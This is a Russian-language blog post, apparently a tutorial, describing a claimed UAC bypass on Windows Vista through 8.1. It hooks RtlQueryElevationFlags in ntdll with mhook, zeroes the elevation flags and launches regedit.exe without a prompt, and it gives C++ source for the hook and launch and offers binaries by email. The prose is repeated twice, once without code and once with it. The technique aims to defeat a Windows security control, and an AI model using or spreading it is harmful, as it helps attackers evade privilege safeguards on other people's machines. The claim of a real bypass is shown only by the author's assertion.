Обход уведомления UAC. Алгоритм и исходный код для Windows Vista,7,8,8.1 (x86/x64)
Invite pending
Помните, в Windows XP не было UAC? Code signed сертификатов можно было не покупать, права были админские у администратора, и таких страшных сообщений не наблюдалось:
В сети можно нагуглить много информации на тему «Bypass UAC». Попробуем проверить теорию с перехватом функции RtlQueryElevationFlags[UnDoc'd]. Теория заключается в замене на 0 в памяти по адресу pFlags (DWORD) после отработки тела функции. Для этого создадим и запустим программу с пользовательскими правами, перехватим указанную функцию, запустим процесс regedit.exe (которому требуются права администратора), при вызове данной функции будем записывать 0 по адресу pFlags, и в результате у нас должен запуститься редактор реестра без уведомления UAC.
Приступим. Настройки UAC в Windows выставляем максимальные. Создаем solution, создаем новый проект Application1, тип проекта Win32 console application. Проверяем значение свойства проекта «UAC Execution Level», должно быть «asInvoker». Создаем платформу x64 в свойствах Configuration Manager. Компилируем.
Для перехвата используем mhook. Загружаем, добавляем в проект подкаталоги disasm-lib, mhook-lib и соответствующие файлы. Получилось так (должно компилироваться без ошибок):
Пишем функцию перехватчик:
Устанавливаем перехват:
Запускаем regedit.exe:
И получаем запуск редактора реестра без уведомления UAC:
Бинарники и исходники можно получить в ответном сообщении на email, указанный в контактах.
Спасибо за внимание.
В сети можно нагуглить много информации на тему «Bypass UAC». Попробуем проверить теорию с перехватом функции RtlQueryElevationFlags[UnDoc'd]. Теория заключается в замене на 0 в памяти по адресу pFlags (DWORD) после отработки тела функции. Для этого создадим и запустим программу с пользовательскими правами, перехватим указанную функцию, запустим процесс regedit.exe (которому требуются права администратора), при вызове данной функции будем записывать 0 по адресу pFlags, и в результате у нас должен запуститься редактор реестра без уведомления UAC.
Приступим. Настройки UAC в Windows выставляем максимальные. Создаем solution, создаем новый проект Application1, тип проекта Win32 console application. Проверяем значение свойства проекта «UAC Execution Level», должно быть «asInvoker». Создаем платформу x64 в свойствах Configuration Manager. Компилируем.
Для перехвата используем mhook. Загружаем, добавляем в проект подкаталоги disasm-lib, mhook-lib и соответствующие файлы. Получилось так (должно компилироваться без ошибок):
#include "stdafx.h"
#include <windows.h>
#include "..\mhook-lib\mhook.h"
int _tmain(int argc, _TCHAR* argv[])
{
return 0;
}
Пишем функцию перехватчик:
NTSTATUS NTAPI TimedRtlQueryElevationFlags(DWORD* pFlag)
{
NTSTATUS ret = CurRtlQueryElevationFlags(pFlag);
*pFlag = 0;
return ret;
}
Устанавливаем перехват:
CurRtlQueryElevationFlags = (NTSTATUS (NTAPI * )(DWORD* ))GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlQueryElevationFlags");
if (Mhook_SetHook((PVOID*)&CurRtlQueryElevationFlags, TimedRtlQueryElevationFlags))
MessageBeep(MB_OK);
Запускаем regedit.exe:
if ((INT)ShellExecuteW(NULL, L"open", L"regedit.exe", NULL, NULL, SW_SHOWNORMAL) > 32)
{
printf("Success\n");
return 0;
}
И получаем запуск редактора реестра без уведомления UAC:
Бинарники и исходники можно получить в ответном сообщении на email, указанный в контактах.
Спасибо за внимание.